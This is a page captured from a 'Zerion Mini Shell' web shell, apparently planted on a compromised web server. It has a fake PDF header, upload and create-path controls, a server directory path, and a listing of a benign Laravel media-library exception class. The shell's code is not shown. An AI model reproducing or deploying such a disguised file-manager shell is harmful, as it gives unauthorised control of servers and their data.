%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/hr/api/vendor/spatie/laravel-medialibrary/src/Exceptions/
Upload File :
Create Path :
Current File : /var/www/html/hr/api/vendor/spatie/laravel-medialibrary/src/Exceptions/UrlCannotBeDetermined.php

<?php

namespace Spatie\MediaLibrary\Exceptions;

use Exception;

class UrlCannotBeDetermined extends Exception
{
    public static function mediaNotPubliclyAvailable(string $storagePath, string $publicPath)
    {
        return new static("Storage path `{$storagePath}` is not part of public path `{$publicPath}`");
    }

    public static function filesystemDoesNotSupportTemporaryUrls()
    {
        return new static('Generating temporary URLs only works on the S3 filesystem driver');
    }
}

Zerion Mini Shell 1.0